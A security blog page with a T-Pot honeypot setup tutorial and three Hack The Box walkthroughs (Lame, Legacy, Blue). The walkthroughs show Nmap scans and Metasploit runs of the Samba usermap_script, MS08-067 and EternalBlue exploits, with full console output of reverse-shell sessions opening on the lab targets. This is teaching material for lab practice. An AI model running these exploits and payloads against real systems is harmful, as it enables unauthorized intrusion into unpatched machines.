Showing posts with label smb. Show all posts
Showing posts with label smb. Show all posts

8/26/2024

Create a Honeypot Using T-Pot

  ,,     ,,     ,,
  xx    _xx_   ,xx,
 /==\   /==\   /==\
(/==\) (/==\) (/==\)
  \/     \/     \/

Honeypots are virtual traps to lure threat actors. An intentionally compromised system allows attackers to exploit vulnerabilities so you can study them to improve security policies. Setting up your own honeypot is a quick and easy project especially when utilizing T-Pot. T-Pot is a free, all-in-one multi honeypot platform that uses 20+ honeypots on various ports and features countless visualization options to display data obtained from attackers.

We will be creating our honeypot on a cloud server hosted through Vultr. It is not suggested to host honeypots using your home internet. You can sign up for a Vultr account using my referral link here. This will give you $300 in credits which will allow you to host your honeypot for free for around 6 months when following this tutorial.

After creating your Vultr account, navigate to the top right of the dashboard and click the "Deploy +" button. You will be directed to the server deployment screen. For the type, select "Cloud Computed - Shared CPU". For the server location, select a region closest to your home. It is worth noting that selecting other regions may produce different interesting results as far as the number of threat actors attempting to access your server and their location. Feel free to experiment. When asked to select an image for your server, click "Ubuntu" and select the most recent version. When selecting a plan, click the "Regular Cloud Compute" option and select the 160GB SSD option. This option gives us the base requirements for running T-Pot. You may turn off all additional features for your server including Auto Backups and IPv6. You will then be asked to name your server under "Server Hostname & Label". Once done, click "Deploy Now".

On your Compute dashboard, once the status of the server is listed as "Running", click the server name to go to the server dashboard. Click the top right "View Console" icon to launch the console for your server where you will be greeted with the server login screen. Use the Username and Password credentials listed on the server dashboard. This will give you root access to your server.

T-Pot requires you to install the service using a non-root user. We will create a new user using the following command where "*username*" is your desired username:

adduser *username*

You will be prompted through the user creation process where you will set a password and other information regarding the user. Once the user is created you will need to give them sudo privileges using the following command:

usermod -aG sudo *username*

Once given sudo permission to the new user, switch to that user by entering the following command:

su *username*

You will now switch to your new user. If you have been following this tutorial you will be in the root folder and will need to enter the following command to move back one directory:

cd ..

Change directories using the command below where "*username*" is the name of your user:

cd home/*username*

This directory is where we will clone the T-Pot Github repository. We will first need to install Git by entering the following command:

sudo apt install git

Clone the Github repository using the command below:

git clone https://github.com/telekom-security/tpotce

Change into the tpotce/ directory:

cd tpotce

Run the installer:

./install.sh

Follow the T-Pot installer prompts. Installation will take a few minutes. When asked which type of T-Pot you would like to use, select Hive by typing "h" into the command prompt.

You will be asked to setup the web user information. This information will be used to log into the T-Pot web dashboard/command center where you will be able to access the collected data. Complete the prompt by entering in a username and password.

You will eventually be told the installation is complete and you may reboot your server. Reboot by using the following command:

sudo reboot

Once your server has been rebooted, you may close out of the Vultr console. Congratulations, your honeypot is up and running!

To access the web dashboard/command center for your new honeypot enter https://<your.ip>:64297 into your web browser where "<your.ip>" is the ip address of your server, which can be found on your server dashboard on Vultr. You will be prompted to log in. Use the username and password created during the installation of T-Pot for the web dashboard. You may receive a warning from your browser. You can ignore this. Once logged in, you will be greeted with your T-Pot web dashboard:

One of the most popular tools in T-Pot is the real-time Attack Map. This map displays attacks in real-time on your server. The interface displays the world map along with information on each attack including the service the attacker is utilizing and the location/ip address of the attacker.

The Kibana tool on T-Pot is a great way to see more in-depth details about the attacks being done on your server. When accessing Kibana, you will be asked to select a dashboard. Dashboards are broken up into the honeypot type. For example, selecting the Cowrie dashboard displays attacks using ssh/telnet on ports 22 and 23. 

To see the complete list of honeypots on T-Pot and their ports, click here. The T-Pot Github also has links to all the honeypots under Technical Concept where you can learn more about each one.

4/30/2022

HTB: Lame

 ___  ___  _________  ________                   
|\  \|\  \|\___   ___\\   __  \  ___             
\ \  \\\  \|___ \  \_\ \  \|\ /_|\__\            
 \ \   __  \   \ \  \ \ \   __  \|__|            
  \ \  \ \  \   \ \  \ \ \  \|\  \  ___          
   \ \__\ \__\   \ \__\ \ \_______\|\__\         
    \|__|\|__|    \|__|  \|_______|\|__|         
 ___       ________  _____ ______   _______      
|\  \     |\   __  \|\   _ \  _   \|\  ___ \     
\ \  \    \ \  \|\  \ \  \\\__\ \  \ \   __/|    
 \ \  \    \ \   __  \ \  \\|__| \  \ \  \_|/__  
  \ \  \____\ \  \ \  \ \  \    \ \  \ \  \_|\ \ 
   \ \_______\ \__\ \__\ \__\    \ \__\ \_______\
    \|_______|\|__|\|__|\|__|     \|__|\|_______| 

Hack The Box's Lame is an Easy machine that features the CVE-2007-2447 vulnerability which was first disclosed in 2007 and effected Samba 3.0.0 through 3.0.25rc3. You can learn more about this vulnerability's CVE details here.

Once starting the machine on HTB and connecting to your HTB VPN, we will start by opening our terminal and pinging the machine's IP address to make sure the network is up. Make sure the IP address you enter matches the one displayed on HTB when you boot up the target machine. 

ping 10.129.136.4

You should receive responses from the IP address. You can press CTRL + C to stop sending packets to the target host. Once confirming the network is up and running, it's time to move to enumeration using Nmap.

Start by doing a quick service scan using Nmap. We will use the -sV switch to enable version detection. You can learn more about Nmap here. Note: I had to use the -Pn flag to skip host discovery in order to get proper scan results. You should receive the following output in your terminal:

nmap -sV -Pn 10.129.136.4
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-30 22:52 BST
Nmap scan report for 10.129.136.4
Host is up (0.015s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.58 seconds

On port 21 we can see that Vsftpd 2.3.4 is running. This is usually exploitable through a built-in backdoor, however it is not exploitable on this machine. Let's look at the Samba smdb service running on port 139. After doing some research, we find this service can be exploited using the "username map script" configuration option to run commands!

Open Metasploit in a new terminal by typing "msfconsole".

msfconsole
                                                  
                                   ____________
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a,        |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a,     |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%|       `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%]
 [% .--------..-----.|  |_ .---.-.|       .,a$%|.-----.|  |.-----.|__||  |_ %%]
 [% |        ||  -__||   _||  _  ||  ,,aS$""`  ||  _  ||  ||  _  ||  ||   _|%%]
 [% |__|__|__||_____||____||___._||%$P"`       ||   __||__||_____||__||____|%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a,       ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%        `"$   %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
 [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]


       =[ metasploit v6.1.9-dev                           ]
+ -- --=[ 2169 exploits - 1149 auxiliary - 398 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: Save the current environment with the 
save command, future console restarts will use this 
environment again

msf6 > 

Let's search for Samba exploits using the "search" option.

search samba 3.0

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script         2007-05-14       excellent  No     Samba "username map script" Command Execution
   1  exploit/linux/samba/chain_reply            2010-06-16       good       No     Samba chain_reply Memory Corruption (Linux x86)
   2  exploit/linux/samba/lsa_transnames_heap    2007-05-14       good       Yes    Samba lsa_io_trans_names Heap Overflow
   3  exploit/osx/samba/lsa_transnames_heap      2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow
   4  exploit/solaris/samba/lsa_transnames_heap  2007-05-14       average    No     Samba lsa_io_trans_names Heap Overflow


Interact with a module by name or index. For example info 4, use 4 or use exploit/solaris/samba/lsa_transnames_heap

The exploit we are looking to use is the first one, exploit/multi/samba/usermap_script. To use an exploit we can type "use" and then the exploits assigned index # value from the search results.

Once the exploit has loaded, type "options" and hit Enter. This will bring up the exploits options which we will need to configure.

msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > options

Module options (exploit/multi/samba/usermap_script):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/
                                      Using-Metasploit
   RPORT   139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  147.182.150.190  yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(multi/samba/usermap_script) > 

Our RPORT is preconfigured to the correct port but our RHOSTS option is blank and is required to run the exploit. To set this we will need to type "set RHOSTS" then the IP of our target machine and hit Enter. We will see a confirmation line with the set RHOSTS IP.

msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.129.136.4
RHOSTS => 10.129.136.4
msf6 exploit(multi/samba/usermap_script) > 

You may need to change your Payload options LHOST and LPORT if you are using a VPN, Virtual Machine, or HTB PWNBOX. Most of the time, this can be done just by entering "set LHOST" followed by your interface, usually "tun0". With everything all set, it's time to run the exploit! Type "run" then hit Enter.

msf6 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP handler on 10.10.14.75:4444 
[*] Command shell session 1 opened (10.10.14.75:4444 -> 10.129.136.4:34959) at 2022-04-30 23:20:35 +0100

Looks like we got a command shell session! Let's type "shell" to get an interactive shell.

shell
[*] Trying to find binary 'python' on the target machine
[*] Found python at /usr/bin/python
[*] Using `python` to pop up an interactive shell
[*] Trying to find binary 'bash' on the target machine
[*] Found bash at /bin/bash

You can now navigate through the target system to obtain the root and user .txt flags using Linux commands.

3/28/2022

HTB: Legacy

 ___  ___  _________  ________                                    
|\  \|\  \|\___   ___\\   __  \  ___                              
\ \  \\\  \|___ \  \_\ \  \|\ /_|\__\                             
 \ \   __  \   \ \  \ \ \   __  \|__|                             
  \ \  \ \  \   \ \  \ \ \  \|\  \  ___                           
   \ \__\ \__\   \ \__\ \ \_______\|\__\                          
    \|__|\|__|    \|__|  \|_______|\|__|                          
 ___       _______   ________  ________  ________      ___    ___ 
|\  \     |\  ___ \ |\   ____\|\   __  \|\   ____\    |\  \  /  /|
\ \  \    \ \   __/|\ \  \___|\ \  \|\  \ \  \___|    \ \  \/  / /
 \ \  \    \ \  \_|/_\ \  \  __\ \   __  \ \  \        \ \    / / 
  \ \  \____\ \  \_|\ \ \  \|\  \ \  \ \  \ \  \____    \/  /  /  
   \ \_______\ \_______\ \_______\ \__\ \__\ \_______\__/  / /    
    \|_______|\|_______|\|_______|\|__|\|__|\|_______|\___/ /     
                                                     \|___|/         

Hack The Box's Legacy is an Easy machine that features the CVE-2008-4250 vulnerability which was first disclosed in 2008 and effected Microsoft Windows 2000, Windows XP, and Windows Server 2003 systems. This vulnerability allows us to run remote attacks if the target receives a specially crafted RPC request. You can learn more about this vulnerability's CVE details here.

Once starting the machine on HTB and connecting to your HTB VPN, we will start by opening our terminal and pinging the machine's IP address to make sure the network is up. Make sure the IP address you enter matches the one displayed on HTB when you boot up the target machine.

ping 10.129.141.229

You should receive responses from the IP address. You can press CTRL + C to stop sending packets to the target host. Once confirming the network is up and running, it's time to move to enumeration using Nmap.

Start by doing a quick service scan using Nmap. We will use the -sC and -sV switch to enable version detection and OS scanning on the network's ports. You can learn more about Nmap here. Note: I had to use the -Pn flag to skip host discovery in order to get proper scan results. You should receive the following output in your terminal:

nmap -sC -sV -Pn 10.129.141.229
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-23 21:53 GMT
Nmap scan report for 10.129.141.229
Host is up (0.0043s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT     STATE  SERVICE       VERSION
139/tcp  open   netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open   microsoft-ds  Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 5d00h27m38s, deviation: 2h07m16s, median: 4d22h57m38s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:6f:40 (VMware)
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: legacy
|   NetBIOS computer name: LEGACY\x00
|   Workgroup: HTB\x00
|_  System time: 2022-03-29T02:51:07+03:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 51.51 seconds

On open port 445 we can see that Windows XP is running. You can also see more details in the Host script results section. I suggest using your favorite search engine to always do some research on services running on open ports and their vulnerabilities. After doing some searching, we find we can exploit this using the MS08-067 Microsoft Server Service Relative Path Stack Corruption Metasploit module.

Open Metasploit in a new terminal by typing "msfconsole".

msfconsole
                                                  

                                   .,,.                  .
                                .\$$$$$L..,,==aaccaacc%#s$b.       d8,    d8P
                     d8P        #$$$$$$$$$$$$$$$$$$$$$$$$$$$b.    `BP  d888888p
                  d888888P      '7$$$$\""""''^^`` .7$$$|D*"'```         ?88'
  d8bd8b.d8p d8888b ?88' d888b8b            _.os#$|8*"`   d8P       ?8b  88P
  88P`?P'?P d8b_,dP 88P d8P' ?88       .oaS###S*"`       d8P d8888b $whi?88b 88b
 d88  d8 ?8 88b     88b 88b  ,88b .osS$$$$*" ?88,.d88b, d88 d8P' ?88 88P `?8b
d88' d88b 8b`?8888P'`?8b`?88P'.aS$$$$Q*"`    `?88'  ?88 ?88 88b  d88 d88
                          .a#$$$$$$"`          88b  d8P  88b`?8888P'
                       ,s$$$$$$$"`             888888P'   88n      _.,,,ass;:
                    .a$$$$$$$P`               d88P'    .,.ass%#S$$$$$$$$$$$$$$'
                 .a$###$$$P`           _.,,-aqsc#SS$$$$$$$$$$$$$$$$$$$$$$$$$$'
              ,a$$###$$P`  _.,-ass#S$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$####SSSS'
           .a$$$$$$$$$$SSS$$$$$$$$$$$$$$$$$$$$$$$$$$$$SS##==--""''^^/$$$$$$'
_______________________________________________________________   ,&$$$$$$'_____
                                                                 ll&&$$$$'
                                                              .;;lll&&&&'
                                                            ...;;lllll&'
                                                          ......;;;llll;;;....
                                                           ` ......;;;;... .  .


       =[ metasploit v6.1.9-dev                           ]
+ -- --=[ 2169 exploits - 1149 auxiliary - 398 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: View all productivity tips with the 
tips command

msf6 > 

Lets search for the MS08-067 exploit using the "search" option.

msf6 > search ms08-067

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi

Metasploit returns a single option, which we are looking for, exploit/windows/smb/ms08_067_netapi. To use an exploit we can type "use" and then the exploits assigned index # value from the search results.

Once the exploit has loaded, type "options" and hit Enter. This will bring up the exploits options which we will need to configure.

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > options

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://gi
                                       thub.com/rapid7/metasploit-framewo
                                       rk/wiki/Using-Metasploit
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRV
                                       SVC)


Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh
                                        , thread, process, none)
   LHOST     157.245.81.12    yes       The listen address (an interface
                                        may be specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf6 exploit(windows/smb/ms08_067_netapi) > 

Our RHOSTS option is blank and is required to run the exploit. To set this we will need to type "set RHOSTS" then the IP of our target machine and hit Enter. We will see a confirmation line with the set RHOSTS IP.

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.129.141.229
RHOSTS => 10.129.141.229
msf6 exploit(windows/smb/ms08_067_netapi) >

Our RPORT is already properly set to port 445. You may need to change your Payload options LHOST and LPORT if you are using a VPN, Virtual Machine, or HTB PWNBOX. Most of the time, this can be done just by entering "set LHOST" followed by your interface, usually "tun0". With everything all set, it's time to run the exploit by typing "run" then hitting Enter.

msf6 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 10.10.14.51:4444 
[*] 10.129.141.229:445 - Automatically detecting the target...
[*] 10.129.141.229:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.129.141.229:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.129.141.229:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175174 bytes) to 10.129.141.229
[*] Meterpreter session 1 opened (10.10.14.51:4444 -> 10.129.141.229:1071) at 2022-03-23 22:08:22 +0000

meterpreter > 

We got a Meterpreter session! We can now type "shell" and hit Enter to get a shell on the target system!

meterpreter > shell
Process 884 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

You can now navigate through the target system to obtain the root and user .txt flags which are located within the user and administrator's Desktop folders.

3/22/2022

HTB: Blue

 ___  ___  _________  ________              
|\  \|\  \|\___   ___\\   __  \  ___        
\ \  \\\  \|___ \  \_\ \  \|\ /_|\__\       
 \ \   __  \   \ \  \ \ \   __  \|__|       
  \ \  \ \  \   \ \  \ \ \  \|\  \  ___     
   \ \__\ \__\   \ \__\ \ \_______\|\__\    
    \|__|\|__|    \|__|  \|_______|\|__|    
 ________  ___       ___  ___  _______      
|\   __  \|\  \     |\  \|\  \|\  ___ \     
\ \  \|\ /\ \  \    \ \  \\\  \ \   __/|    
 \ \   __  \ \  \    \ \  \\\  \ \  \_|/__  
  \ \  \|\  \ \  \____\ \  \\\  \ \  \_|\ \ 
   \ \_______\ \_______\ \_______\ \_______\
    \|_______|\|_______|\|_______|\|_______| 
 
Hack The Box's Blue is an Easy machine that features the MS17-010 EternalBlue exploit. This exploit uses a vulnerability in the SMBV1 file-sharing protocol. The EternalBlue exploit goes back to 2017 when the Shadow Brokers hacking group leaked the vulnerability after (supposedly) hacking the NSA. You can read more about its history on WIRED

Once starting the machine on HTB and connecting to your HTB VPN, we will start by opening our terminal and pinging the machine's IP address to make sure the network is up. Make sure the IP address you enter matches the one displayed on HTB when you boot up the target machine.

ping 10.129.130.217

You should receive responses from the IP address. You can press CTRL + C to stop sending packets to the target host. Once confirming the network is up and running, it's time to move to enumeration using Nmap.

Start by doing a quick service scan using Nmap. We will use the -sV switch to enable version detection scanning on the network's ports. You can learn more about Nmap here. You should receive the following output in your terminal:

nmap -sV 10.129.130.218
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-22 22:34 GMT
Nmap scan report for 10.129.130.218
Host is up (0.079s latency).
Not shown: 991 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.92 seconds

On port 445 we can see that Windows 7 Professional 7601 Service Pack 1 is running, and it's open. I suggest using your favorite search engine to always do some research on services running on open ports and their vulnerabilities. There are also tools which can scan for vulnerabilities automatically as well. After doing some research, we find this service can be exploited using MS17-010 EternalBlue! While there are ways to manually exploit this service we will be using the easiest method, Metasploit.

Open Metasploit in a new terminal by typing "msfconsole".

msfconsole
                                                  
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\


       =[ metasploit v6.1.9-dev                           ]
+ -- --=[ 2169 exploits - 1149 auxiliary - 398 post       ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 9 evasion                                       ]

Metasploit tip: View all productivity tips with the 
tips command

msf6 > 

Metasploit has thousands of exploits available to use. Lets search for the MS17-010 exploit using the "search" option.

msf6 > search MS17-010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB DOUBLEPULSAR Remote Code Execution


Interact with a module by name or index. For example info 4, use 4 or use exploit/windows/smb/smb_doublepulsar_rce

Metasploit returns a few different options but the exploit we are looking for is the first one, exploit/windows/smb/ms17_010_eternalblue. To use an exploit we can type "use" and then the exploits assigned index # value from the search results.

Once the exploit has loaded, type "options" and hit Enter. This will bring up the exploits options which we will need to configure.

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://g
                                             ithub.com/rapid7/metasploit-frame
                                             work/wiki/Using-Metasploit
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to
                                             use for authentication. Only affe
                                             cts Windows Server 2008 R2, Windo
                                             ws 7, Windows Embedded Standard 7
                                              target machines.
   SMBPass                         no        (Optional) The password for the s
                                             pecified username
   SMBUser                         no        (Optional) The username to authen
                                             ticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matc
                                             hes exploit Target. Only affects
                                             Windows Server 2008 R2, Windows 7
                                             , Windows Embedded Standard 7 tar
                                             get machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploi
                                             t Target. Only affects Windows Se
                                             rver 2008 R2, Windows 7, Windows
                                             Embedded Standard 7 target machin
                                             es.


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thr
                                        ead, process, none)
   LHOST     64.227.23.118    yes       The listen address (an interface may b
                                        e specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf6 exploit(windows/smb/ms17_010_eternalblue) > 

Setting options for an exploit is quite straightforward. When we display our current options, we can see the options name, the current setting, whether the option is required, and a short description of the option. As we can see, our RHOSTS option is blank. To set this we will need to type "set RHOSTS" then the IP of our target machine and hit Enter. We will see a confirmation line with the set RHOSTS IP.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 10.129.130.218
RHOSTS => 10.129.130.218
msf6 exploit(windows/smb/ms17_010_eternalblue) > 

You can review the updated options at any time by using the "options" command. While looking through the options, we also see an RPORT is required, which is already set to 445, our targets port running the Windows 7 Professional 7601 Service Pack 1 service. 

You will also see Payload options which will usually automatically be configured to your machine. In some cases, you may need to set the LHOST IP address to your current listening interface. You can do this by typing "set LHOST" followed by your interface. While using a VPN or the HTB PWNBOX you may need to set this option to "tun0".

With your options set it's time to run the exploit by typing "run" then hitting Enter.

msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.14.90:4444 
[*] 10.129.130.218:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.130.218:445    - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.129.130.218:445    - Scanned 1 of 1 hosts (100% complete)
[+] 10.129.130.218:445 - The target is vulnerable.
[*] 10.129.130.218:445 - Connecting to target for exploitation.
[+] 10.129.130.218:445 - Connection established for exploitation.
[+] 10.129.130.218:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.129.130.218:445 - CORE raw buffer dump (42 bytes)
[*] 10.129.130.218:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.129.130.218:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.129.130.218:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1      
[+] 10.129.130.218:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.129.130.218:445 - Trying exploit with 12 Groom Allocations.
[*] 10.129.130.218:445 - Sending all but last fragment of exploit packet
[*] 10.129.130.218:445 - Starting non-paged pool grooming
[+] 10.129.130.218:445 - Sending SMBv2 buffers
[+] 10.129.130.218:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.129.130.218:445 - Sending final SMBv2 buffers.
[*] 10.129.130.218:445 - Sending last fragment of exploit packet!
[*] 10.129.130.218:445 - Receiving response from exploit packet
[+] 10.129.130.218:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.129.130.218:445 - Sending egg to corrupted connection.
[*] 10.129.130.218:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.129.130.218
[*] Meterpreter session 1 opened (10.10.14.90:4444 -> 10.129.130.218:49158) at 2022-03-22 23:47:44 +0000
[+] 10.129.130.218:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.130.218:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.129.130.218:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

We got a Meterpreter session! We can now type "shell" and hit Enter to get a shell on the target system!

meterpreter > shell
Process 2548 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

You can now navigate through the target system to obtain the root and user .txt flags which are located within the user and administrator's Desktop folders.